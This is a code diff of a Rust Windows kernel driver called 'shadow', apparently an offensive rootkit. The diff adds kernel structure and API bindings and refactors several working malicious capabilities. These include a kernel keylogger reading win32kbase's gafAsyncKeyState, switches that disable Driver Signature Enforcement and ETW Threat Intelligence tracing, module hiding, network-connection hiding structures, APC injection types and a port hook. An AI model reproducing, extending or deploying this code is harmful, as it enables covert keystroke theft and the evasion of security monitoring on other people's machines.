+    pub fn PsGetCurrentThread() -> PETHREAD;
+    
+    pub fn IoCreateDriver(
+        driver_name: PUNICODE_STRING,
+        driver_initialize: types::DRIVER_INITIALIZE,
+    ) -> NTSTATUS;
+
+    pub fn MmCopyVirtualMemory(
+        source_process: PEPROCESS,
+        source_address: PVOID,
+        target_process: PEPROCESS,
+        target_address: PVOID,
+        buffer_size: SIZE_T,
+        previous_mode: KPROCESSOR_MODE,
+        return_size: PSIZE_T,
+    );
+
+    pub fn ObReferenceObjectByName(
+        object_name: PUNICODE_STRING,
+        attributes: u32,
+        access_state: PACCESS_STATE,
+        desired_access: ACCESS_MASK,
+        object_type: POBJECT_TYPE,
+        access_mode: KPROCESSOR_MODE,
+        parse_context: PVOID,
+        object: *mut PVOID,
+    ) -> NTSTATUS;
+    
+    pub fn KeInitializeApc(
+        apc: PRKAPC,
+        thread: PETHREAD,
+        environment: enums::KAPC_ENVIROMENT,
+        kernel_routine: types::PKKERNEL_ROUTINE,
+        rundown_routine: types::PKRUNDOWN_ROUTINE,
+        normal_routine: types::PKNORMAL_ROUTINE,
+        apc_mode: KPROCESSOR_MODE,
+        normal_context: PVOID
+    );
+
+    pub fn KeTestAlertThread(
+        alert_mode: KPROCESSOR_MODE
+    );
+
+    pub fn KeInsertQueueApc(
+        apc: PRKAPC,
+        system_argument1: PVOID,
+        system_argument2: PVOID,
+        increment: KPRIORITY
+    ) -> bool;
+
+    pub fn ZwProtectVirtualMemory(
+        ProcessHandle: HANDLE,
+        BaseAddress: *mut PVOID,
+        RegionSize: PSIZE_T,
+        NewProtect: ULONG,
+        OldProtect: PULONG
+    ) -> NTSTATUS;
+
+    pub fn ZwOpenThread(
+        handle: *mut HANDLE,
+        desired_access: ACCESS_MASK,
+        object_attributes: *mut OBJECT_ATTRIBUTES,
+        client_id: *mut CLIENT_ID
+    ) -> NTSTATUS;
+}

driver/src/internals/mod.rs

@@ -0,0 +1,14 @@
+#![allow(non_camel_case_types)]
+#![allow(dead_code)]
+
+use {
+    bitfield::bitfield, 
+    winapi::ctypes::c_void,
+    ntapi::ntpsapi::PPS_ATTRIBUTE_LIST, 
+};
+
+pub mod vad;
+pub mod structs;
+pub mod types;
+pub mod enums;
+pub mod externs;

driver/src/internals/structs.rs

@@ -0,0 +1,323 @@
+use {
+    super::*,
+    wdk_sys::*,
+    core::mem::ManuallyDrop,
+    crate::internals::enums::COMUNICATION_TYPE,
+    shared::{structs::LIST_ENTRY, enums::Callbacks}
+};
+
+#[repr(C)]
+pub struct FULL_OBJECT_TYPE {
+    type_list: LIST_ENTRY,
+    name: UNICODE_STRING,
+    default_object: *mut c_void,
+    index: u8,
+    total_number_of_objects: u32,
+    pub total_number_of_handles: u32,
+    high_water_number_of_objects: u32,
+    high_water_number_of_handles: u32,
+    type_info: [u8; 0x78],
+    pub type_lock: _EX_PUSH_LOCK,
+    key: u32,
+    pub callback_list: LIST_ENTRY,
+}
+
+#[repr(C)]
+pub struct OBCALLBACK_ENTRY {
+    pub callback_list: LIST_ENTRY,
+    operations: OB_OPERATION,
+    pub enabled: bool,
+    pub entry: *mut OB_CALLBACK,
+    object_type: POBJECT_TYPE,
+    pub pre_operation: POB_PRE_OPERATION_CALLBACK,
+    pub post_operation: POB_POST_OPERATION_CALLBACK,
+    lock: KSPIN_LOCK
+}
+
+#[repr(C)]
+pub struct OB_CALLBACK {
+    version: u16,
+    operation_registration_count: u16,
+    registration_context: *mut c_void,
+    altitude_string: UNICODE_STRING,
+    entry_items: [OBCALLBACK_ENTRY; 1],
+    altitude_buffer: [u16; 1],
+}
+
+pub struct PROCESS_SIGNATURE {
+    pub signature_level: u8,
+    pub section_seginature_level: u8,
+    pub protection: PS_PROTECTION,
+}
+
+#[repr(C)]
+#[derive(Debug, Clone, Copy)]
+pub struct SystemModule {
+    pub section: *mut c_void,
+    pub mapped_base: *mut c_void,
+    pub image_base: *mut c_void,
+    pub size: u32,
+    pub flags: u32,
+    pub index: u8,
+    pub name_length: u8,
+    pub load_count: u8,
+    pub path_length: u8,
+    pub image_name: [u8; 256],
+}
+
+#[repr(C)]
+#[derive(Debug, Clone, Copy)]
+pub struct SystemModuleInformation {
+    pub modules_count: u32,
+    pub modules: [SystemModule; 256],
+}
+
+#[repr(C)]
+#[derive(Debug, Clone, Copy)]
+pub struct CM_CALLBACK {
+    pub list: LIST_ENTRY,
+    unknown1: [u64; 2],
+    context: u64,
+    pub function: u64,
+    altitude: UNICODE_STRING,
+    unknown2: [u64; 2],
+}
+
+bitfield! {
+    pub struct _EX_PUSH_LOCK(u64);
+    impl Debug;
+    u64;
+    locked, set_locked: 0;
+    waiting, set_waiting: 1;
+    waking, set_waking: 2;
+    multiple_shared, set_multiple_shared: 3;
+    shared, set_shared: 63, 4;
+}
+
+bitfield! {
+    pub struct PS_PROTECTION(u8);
+    pub u8, type_, set_type_: 2, 0;   
+    pub u8, audit, set_audit: 3;      
+    pub u8, signer, set_signer: 7, 4;
+}
+
+#[repr(C)]
+#[derive(Default)]
+pub struct CallbackRestaure {
+    pub index: usize,
+    pub callback: Callbacks,
+    pub address: u64,
+}
+
+#[repr(C)]
+pub struct CallbackRestaureOb{
+    pub index: usize,
+    pub callback: Callbacks,
+    pub pre_operation: u64,
+    pub post_operation: u64,
+    pub entry: u64,
+}
+
+#[repr(C)]
+pub struct MMVAD_SHORT {
+    pub vad_node: RTL_BALANCED_NODE,
+    pub starting_vpn: u32,
+    pub ending_vpn: u32,
+    pub starting_vpn_high: u8,
+    pub ending_vpn_high: u8,
+    pub commit_charge_high: u8,
+    pub spare_nt64_vad_uchar: u8,
+    pub reference_count: i32,
+    pub push_lock: usize,
+    pub u: Uunion,
+    pub u1: U1Union,
+    pub u5: U5Union,
+}
+
+#[repr(C)]
+pub union Uunion {
+    pub long_flags: u32,
+    pub vad_flags: ManuallyDrop<MMVAD_FLAGS>,
+    pub private_vad_flags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
+    pub graphics_vad_flags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
+    pub shared_vad_flags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
+    pub volatile_long: u32,
+}
+
+#[repr(C)]
+pub union U1Union {
+    pub long_flags1: u32,
+    pub vad_flags1: ManuallyDrop<MMVAD_FLAGS1>,
+}
+
+#[repr(C)]
+pub union U5Union {
+    pub event_list_ulong_ptr: u64,
+    pub starting_vpn_higher: u8,
+}
+
+bitfield! {
+    #[repr(C)]
+    pub struct MM_PRIVATE_VAD_FLAGS(u32);
+    impl Debug;
+    impl Default;
+    u32;
+    pub lock, set_lock: 1;
+    pub lock_contended, set_lock_contended: 1;
+    pub delete_in_progress, set_delete_in_progress: 1;
+    pub no_change, set_no_change: 1;
+    pub vad_type, set_vad_type: 6, 4;
+    pub protection, set_protection: 11, 7;
+    pub preferred_node, set_preferred_node: 18, 12;
+    pub page_size, set_page_size: 19, 20;
+    pub private_memory_always_set, set_private_memory: 21;
+    pub write_watch, set_write: 22;
+    pub fixed_large_page_size, set_page_large: 23;
+    pub zero_fill_pages_optional, set_zero_fill: 24;
+    pub graphics, set_graphics: 25;
+    pub enclave, set_enclave: 26;
+    pub shadow_stack, set_shadow_stack: 27;
+    pub physical_memory_pfns_referenced, set_physical: 28;
+}
+
+bitfield! {
+    #[repr(C)]
+    pub struct MM_SHARED_VAD_FLAGS(u32);
+    impl Debug;
+    impl Default;
+    u32;
+    pub lock, set_lock: 1;
+    pub lock_contended, set_lock_contended: 1;
+    pub delete_in_progress, set_delete_in_progress: 1;
+    pub no_change, set_no_change: 1;
+    pub vad_type, set_vad_type: 6, 4;
+    pub protection, set_protection: 11, 7;
+    pub preferred_node, set_preferred_node: 18, 12;
+    pub page_size, set_page_size: 19, 20;
+    pub private_memory_always_set, set_private_memory: 21;
+    pub private_fixup, set_private_fixup: 22;
+    pub hot_patch_state, set_hot_patch_state: 24, 23;
+}
+
+bitfield! {
+    #[repr(C)]
+    pub struct MMVAD_FLAGS(u32);
+    impl Debug;
+    u32;
+    pub lock, set_lock: 0;
+    pub lock_contended, set_lock_contended: 1;
+    pub delete_in_progress, set_delete_in_progress: 2;
+    pub no_change, set_no_change: 3;
+    pub vad_type, set_vad_type: 6, 4;
+    pub protection, set_protection: 11, 7;
+    pub preferred_node, set_preferred_node: 18, 12;
+    pub page_size, set_page_size: 19, 20;
+    pub private_memory, set_private_memory: 21;
+}
+
+bitfield! {
+    #[repr(C)]
+    pub struct MM_GRAPHICS_VAD_FLAGS(u32);
+    impl Debug;
+    impl Default;
+    u32;
+    pub lock, set_lock: 1;
+    pub lock_contended, set_lock_contended: 1;
+    pub delete_in_progress, set_delete_in_progress: 1;
+    pub no_change, set_no_change: 1;
+    pub vad_type, set_vad_type: 6, 4;
+    pub protection, set_protection: 11, 7;
+    pub preferred_node, set_preferred_node: 18, 12;
+    pub page_size, set_page_size: 19, 20;
+    pub private_memory_always_set, set_private_memory: 21;
+    pub write_watch, set_write: 22;
+    pub fixed_large_page_size, set_page_large: 23;
+    pub zero_fill_pages_optional, set_zero_fill: 24;
+    pub graphics_always_set, set_graphics: 25;
+    pub graphics_use_coherent, set_graphics_use: 26;
+    pub graphics_no_cache, set_graphics_no_cache: 27;
+    pub graphics_page_protection, set_graphics_page_protection: 30, 28;
+}
+
+bitfield! {
+    #[repr(C)]
+    pub struct MMVAD_FLAGS1(u32);
+    impl Debug;
+    pub commit_charge, set_commit_charge: 30, 0;    
+    pub mem_commit, set_mem_commit: 31;
+}
+
+#[repr(C)]
+pub struct NSI_PARAM {
+    pub reserved1: usize,
+    pub reverved2: usize,
+    pub module_id: *mut core::ffi::c_void,
+    pub type_: COMUNICATION_TYPE,
+    pub reserved3: u32,
+    pub reserved4: u32,
+    pub entries: *mut core::ffi::c_void,
+    pub entry_size: usize,
+    pub reserved5: *mut core::ffi::c_void,
+    pub reserved6: usize,
+    pub status_entries: *mut NSI_STATUS_ENTRY,
+    pub reserved7: usize,
+    pub process_entries: *mut NSI_PROCESS_ENTRY,
+    pub process_entry_size: usize,
+    pub count: usize
+}
+
+#[repr(C)]
+pub struct NSI_STATUS_ENTRY {
+    pub state: u32,
+    pub reserved: [u8; 8]
+}
+
+#[repr(C)]
+pub struct NSI_PROCESS_ENTRY {
+    pub udp_process_id: u32,
+    pub reserved1: u32,
+    pub reserved2: u32,
+    pub tcp_process_id: u32,
+    pub reserved3: u32,
+    pub reserved4: u32,
+    pub reserved5: u32,
+    pub reserved6: u32
+}
+
+#[repr(C)]
+#[derive(Debug)]
+pub struct NSI_TCP_ENTRY {
+    pub reserved1: [u8; 2],
+    pub port: u16,
+    pub ip_address: u32,
+    pub ip_address6: [u8; 16],
+    pub reserved2: [u8; 4]
+}
+
+#[repr(C)]
+#[derive(Debug)]
+pub struct NSI_TABLE_TCP_ENTRY {
+    pub local: NSI_TCP_ENTRY,
+    pub remote: NSI_TCP_ENTRY
+}
+
+#[repr(C)]
+pub struct NSI_UDP_ENTRY {
+    pub reserved1: [u8; 2],
+    pub port: u16,
+    pub ip_address: u32,
+    pub ip_address6: [u8; 16],
+    pub reserved2: [u8; 4]
+}
+
+#[repr(C)] 
+pub struct TRACE_ENABLE_INFO {
+    pub is_enabled: u32, 
+    pub level: u8, 
+    pub reserved1: u8,
+    pub loggerid: u16,
+    pub enable_property: u32, 
+    pub reserved2: u32, 
+    pub match_any_keyword: u64,
+    pub match_all_keyword: u64
+}

driver/src/internals/types.rs

@@ -0,0 +1,39 @@
+use super::*; 
+use wdk_sys::*;
+    
+pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
+    DriverObject: &mut _DRIVER_OBJECT,
+    RegistryPath: PCUNICODE_STRING,
+) -> NTSTATUS>;
+
+pub type ZwCreateThreadExType = unsafe extern "system" fn (
+    ThreadHandle: PHANDLE,
+    DesiredAccess: ACCESS_MASK,
+    ObjectAttributes: POBJECT_ATTRIBUTES,
+    ProcessHandle: HANDLE,
+    StartRoutine: PVOID,
+    Argument: PVOID,
+    CreateFlags: SIZE_T,
+    ZeroBits: usize,
+    StackSize: usize,
+    MaximumStackSize: usize,
+    AttributeList: PPS_ATTRIBUTE_LIST
+) -> NTSTATUS;
+
+pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
+    apc: PKAPC,
+) -> NTSTATUS>;
+
+pub type PKNORMAL_ROUTINE =  Option<unsafe extern "system" fn(
+    normal_context: *mut PVOID,
+    system_argument1: *mut PVOID,
+    system_argument2: *mut PVOID
+) -> NTSTATUS>;
+
+pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
+    apc: PKAPC,
+    normal_routine: *mut PKNORMAL_ROUTINE,
+    normal_context: *mut PVOID,
+    system_argument1: *mut PVOID,
+    system_argument2: *mut PVOID 
+);

driver/src/internals/vad.rs

@@ -1,7 +1,9 @@
-use bitfield::bitfield;
+use {
-use wdk_sys::LIST_ENTRY;
+    bitfield::bitfield,
-use super::structs::MMVAD_SHORT;
+    wdk_sys::LIST_ENTRY,
-use core::{ffi::c_void, mem::ManuallyDrop};
+    super::structs::MMVAD_SHORT,
+    core::{ffi::c_void, mem::ManuallyDrop},
+};
 
 #[repr(C)]
 pub struct MMVAD {

driver/src/lib.rs

@@ -7,11 +7,12 @@ extern crate alloc;
 
 use {
     utils::uni,
+    port::Port,
+    core::ptr::null_mut, 
     kernel_log::KernelLogger,
-    core::ptr::null_mut,
+    crate::utils::ioctls::IOCTL_MAP, 
-    wdk_sys::{_MODE::KernelMode, ntddk::*, *},
+    misc::keylogger::{keylogger, SHUTDOWN}, 
-    misc::keylogger::{SHUTDOWN, keylogger},
+    wdk_sys::{ntddk::*, _MODE::KernelMode, *}
-    crate::utils::ioctls::IOCTL_MAP,
 };
 
 #[cfg(not(feature = "mapper"))]
@@ -22,17 +23,17 @@ use {
 };
 
 #[cfg(not(feature = "mapper"))]
-mod registry;
+pub mod registry;
-mod callback;
+pub mod callback;
-mod misc;
+pub mod misc;
-mod driver;
+pub mod driver;
-mod includes;
+pub mod internals;
-mod process;
+pub mod process;
-mod thread;
+pub mod thread;
-mod module;
+pub mod module;
-mod injection;
+pub mod injection;
-mod port;
+pub mod port;
-mod utils;
+pub mod utils;
 
 /// The name of the device in the device namespace.
 const DEVICE_NAME: &str = "\\Device\\shadow";
@@ -45,10 +46,12 @@ const DOS_DEVICE_NAME: &str = "\\??\\shadow";
 /// This function is called by the system when the driver is loaded.
 ///
 /// # Parameters
+/// 
 /// - `driver_object`: Pointer to the driver object.
 /// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: Status code indicating the success or failure of the operation.
 ///
 /// Reference: WDF expects a symbol with the name DriverEntry
@@ -58,11 +61,9 @@ pub unsafe extern "system" fn driver_entry(
     registry_path: PCUNICODE_STRING,
 ) -> NTSTATUS {
     KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
-
-    log::info!("DriverEntry Loaded");
     
     #[cfg(feature = "mapper")] {
-        use includes::IoCreateDriver;
+        use internals::IoCreateDriver;
 
         const DRIVER_NAME: &str = "\\Driver\\shadow";
         let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
@@ -82,10 +83,12 @@ pub unsafe extern "system" fn driver_entry(
 /// initializing the driver, creating the device object and setting up the symbolic link.
 ///
 /// # Parameters
+/// 
 /// - `driver_object`: Pointer to the driver object.
 /// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: Status code indicating the success or failure of the operation.
 /// 
 pub unsafe extern "system" fn shadow_entry(
@@ -155,6 +158,8 @@ pub unsafe extern "system" fn shadow_entry(
         }
     }
 
+    let status = unsafe { Port::install_hook() };
+
     STATUS_SUCCESS
 }
 
@@ -163,10 +168,12 @@ pub unsafe extern "system" fn shadow_entry(
 /// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
 ///
 /// # Parameters
+/// 
 /// - `_device`: Pointer to the device object (not used in this function).
 /// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: Status code indicating the success or failure of the operation.
 /// 
 pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
@@ -191,10 +198,12 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I
 /// It marks the I/O request (IRP) as successfully completed.
 ///
 /// # Parameters
+/// 
 /// - `_device_object`: Pointer to the associated device object (not used in this function).
 /// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
 ///
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
 ///
 pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
@@ -210,17 +219,29 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *
 /// It removes the symbolic link and deletes the device object associated with the driver.
 ///
 /// # Parameters
+/// 
 /// - `driver_object`: Pointer to the driver object being unloaded.
 ///
 pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
     log::info!("Unloading driver");
 
+    SHUTDOWN = true;
+    
+    let hook_status = Port::uninstall_hook();
+    if !NT_SUCCESS(hook_status) {
+        log::error!("Failed to uninstall hook before unload");
+    }
+
+    let mut interval = LARGE_INTEGER {
+        QuadPart: -50 * 1000_i64 * 1000_i64,
+    };
+
+    KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
+
     let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
     IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
     IoDeleteDevice((*driver_object).DeviceObject);
 
-    SHUTDOWN = true;
-
     #[cfg(not(feature = "mapper"))] {
         ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS);
         ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
@@ -228,7 +249,7 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
     }
 
     let mut interval = LARGE_INTEGER {
-        QuadPart: -1 * -(50 * 10000_i64),
+        QuadPart: -1 * -(50 * 1000_i64),
     };
 
     KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
@@ -239,9 +260,11 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
 /// Register Callbacks.
 ///
 /// # Parameters
+/// 
 /// - `driver_object`: Pointer to the driver object being unloaded.
 /// 
-/// # Return
+/// # Returns
+/// 
 /// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
 ///
 #[cfg(not(feature = "mapper"))]

driver/src/misc/dse.rs

@@ -14,9 +14,11 @@ impl Dse {
     /// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
     /// 
     /// # Parameters
+    /// 
     /// - `info_dse`: A pointer to the `DSE` structure containing information about the state of the DSE.
     /// 
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
     /// 
     pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {

driver/src/misc/etwti.rs

@@ -1,7 +1,15 @@
 use {
+    crate::{
+        internals::structs::TRACE_ENABLE_INFO, 
+        utils::{
+            uni,
+            patterns::{
+                scan_for_pattern, ETWTI_PATTERN
+            }, 
+        }
+    }, 
     obfstr::obfstr, 
-    shared::structs::ETWTI,
+    shared::structs::ETWTI, 
-    crate::utils::{patterns::scan_for_pattern, uni}, 
     wdk_sys::{
         ntddk::MmGetSystemRoutineAddress, 
         NTSTATUS, STATUS_UNSUCCESSFUL
@@ -15,20 +23,17 @@ impl Etw {
     /// Enables or disables ETW tracing by manipulating the `ETWTI` structure.
     ///
     /// # Parameters
+    /// 
     /// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn etwti_enable_disable(info: *mut ETWTI) -> Result<(), NTSTATUS> {
         let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
         let function_address = MmGetSystemRoutineAddress(&mut function_name);
-        let pattern = [
+        let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
-            0x33, 0xD2,        // 33d2           xor  edx,edx
-            0x48, 0x8B, 0x0D  // 488b0dcd849300  mov  rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff807`41c19918)]
-        ];
-
-        let etwi_handle = scan_for_pattern(function_address, &pattern, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
         let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
         (*trace_info).is_enabled = if (*info).enable {
             0x01
@@ -40,14 +45,3 @@ impl Etw {
     }
 }
 
-#[repr(C)] 
-pub struct TRACE_ENABLE_INFO {
-    is_enabled: u32, 
-    level: u8, 
-    reserved1: u8,
-    loggerid: u16,
-    enable_property: u32, 
-    reserved2: u32, 
-    match_any_keyword: u64,
-    match_all_keyword: u64
-}

driver/src/misc/ioctls.rs

@@ -5,15 +5,24 @@ use {
     shared::structs::{Keylogger, DSE, ETWTI},
     wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
     shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI}, 
-    crate::{handle_driver, misc::{etwti::Etw, dse::Dse}, utils::ioctls::IoctlHandler}, 
+    crate::{handle, misc::{etwti::Etw, dse::Dse}, utils::ioctls::IoctlHandler}, 
 };
 
+/// Registers the IOCTL handlers for misc-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// 
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the misc-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
-
     // Responsible for enabling/disabling DSE.
     ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_ENABLE_DSE");
-        let status = unsafe { handle_driver!(stack, Dse::set_dse_state, DSE) };
+        let status = unsafe { handle!(stack, Dse::set_dse_state, DSE) };
         unsafe { (*irp).IoStatus.Information = 0 };
         
         match status {
@@ -25,7 +34,7 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
     // Start / Stop Keylogger
     ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_KEYLOGGER");
-        let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
+        let status = unsafe { handle!(stack, set_keylogger_state, Keylogger) };
         unsafe { (*irp).IoStatus.Information = 0 };
 
         status
@@ -34,7 +43,7 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
     // Responsible for enabling/disabling ETWTI.
     ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_ETWTI");
-        let status = unsafe { handle_driver!(stack, Etw::etwti_enable_disable, ETWTI) };
+        let status = unsafe { handle!(stack, Etw::etwti_enable_disable, ETWTI) };
         unsafe { (*irp).IoStatus.Information = 0 };
 
         match status {

driver/src/misc/keylogger/mod.rs

@@ -1,24 +1,33 @@
 use {
-    keys::VK_CHARS, 
     obfstr::obfstr,
-    shared::structs::Keylogger, 
+    keys::VK_CHARS,
-    core::{ffi::c_void, mem::size_of}, 
+    shared::structs::Keylogger,
+    core::{ffi::c_void, mem::size_of},
     crate::{
-        get_ks_byte, get_ks_down_bit, includes::MmCopyVirtualMemory, 
+        get_ks_byte, 
-        is_key_down, process::Process, set_key_down, 
+        get_ks_down_bit, 
+        is_key_down, 
+        set_key_down,
+        process::Process,
+        internals::externs::MmCopyVirtualMemory,
         utils::{
-            address::{get_address_asynckey, get_module_base_address}, 
+            address::{get_address_asynckey, get_module_base_address},
-            get_process_by_name, patterns::scan_for_pattern, 
+            get_process_by_name, 
-            process_attach::ProcessAttach
+            patterns::scan_for_pattern,
-        }
+            process_attach::ProcessAttach,
-    }, 
+        },
+    },
     wdk_sys::{
         ntddk::{
-            IoGetCurrentProcess, KeDelayExecutionThread,
+            IoGetCurrentProcess, 
+            KeDelayExecutionThread,
             PsTerminateSystemThread,
         },
-        LARGE_INTEGER, NTSTATUS, STATUS_SUCCESS, _MODE::KernelMode,
+        LARGE_INTEGER, 
-    }
+        NTSTATUS, 
+        STATUS_SUCCESS, 
+        _MODE::KernelMode,
+    },
 };
 
 pub mod macros;
@@ -44,10 +53,12 @@ static mut KEY_RECENT: [u8; 64] = [0; 64];
 /// Converts a virtual key code to a character.
 ///
 /// # Parameters
+/// 
 /// - `key`: The code for the virtual key.
 ///
 /// # Returns
-/// `&'static str`: A string representing the character corresponding to the code of the virtual key.
+/// 
+/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
 /// 
 fn vk_to_char(key: u8) -> &'static str {
     for &(vk, char) in &VK_CHARS {
@@ -61,6 +72,7 @@ fn vk_to_char(key: u8) -> &'static str {
 /// Updates the status of the keys.
 ///
 /// # Parameters
+/// 
 /// - `address`: Array address `gafAsyncKeyState`.
 ///
 unsafe fn update_key_state(address: *mut u8) {
@@ -97,6 +109,7 @@ unsafe fn update_key_state(address: *mut u8) {
 /// Starts the Winlogon process.
 ///
 /// # Returns
+/// 
 /// - `bool`: if the Winlogon process was successfully initialized, otherwise `false`.
 ///
 unsafe fn initialize_winlogon_process() -> bool {
@@ -116,9 +129,11 @@ unsafe fn initialize_winlogon_process() -> bool {
 /// Checks if a key has been pressed.
 ///
 /// # Parameters
+/// 
 /// - `key`: The key code.
 ///
 /// # Returns
+/// 
 /// - `bool`: if the key was pressed, otherwise `false`.
 ///
 unsafe fn key_pressed(key: u8) -> bool {
@@ -130,6 +145,7 @@ unsafe fn key_pressed(key: u8) -> bool {
 /// The keylogger's main function.
 ///
 /// # Parameters
+/// 
 /// - `_address`: Function address (Is not used).
 ///
 pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
@@ -164,6 +180,7 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
 /// Get the address of the `gafAsyncKeyState` array.
 ///
 /// # Returns
+/// 
 /// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
 ///
 unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
@@ -175,15 +192,14 @@ unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
 
     let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
     let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
-    let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200);
 
     let attach_process = ProcessAttach::new(winlogon_eprocess.e_process);
 
     // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00  mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
     // fffff4e1`18e41bb5 48 89 81 80 00 00 00  mov qword ptr [rcx+80h],rax
-    let instructions = [0x48, 0x8B, 0x05];
+    let pattern = [0x48, 0x8B, 0x05];
 
-    scan_for_pattern(function_address, &instructions, 3, 7, 0x200, u32::from_le_bytes)
+    scan_for_pattern(function_address, &pattern, 3, 7, 0x200, u32::from_le_bytes)
 }
 
 /// Sets the keylogger status.

driver/src/module/ioctls.rs

@@ -3,18 +3,26 @@ use {
     hashbrown::HashMap,
     shared::{ioctls::{IOCTL_ENUMERATE_MODULE, IOCTL_HIDE_MODULE}, structs::{ModuleInfo, TargetProcess, TargetModule}},
     wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
-    crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
+    crate::{handle, module::Module, utils::ioctls::IoctlHandler},
 };
 
+/// Registers the IOCTL handlers for module-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// 
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the module-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
-    
     // Enumerate Modules
     ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_ENUMERATE_MODULE");
         
         let mut information = 0;
-        let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
+        let status = unsafe { handle!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
-        
         unsafe { (*irp).IoStatus.Information = information as u64 };
         
         match status {
@@ -27,8 +35,7 @@ pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
     ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_HIDE_MODULE");
         
-        let status = unsafe { handle_module!(stack, Module::hide_module, TargetModule) };
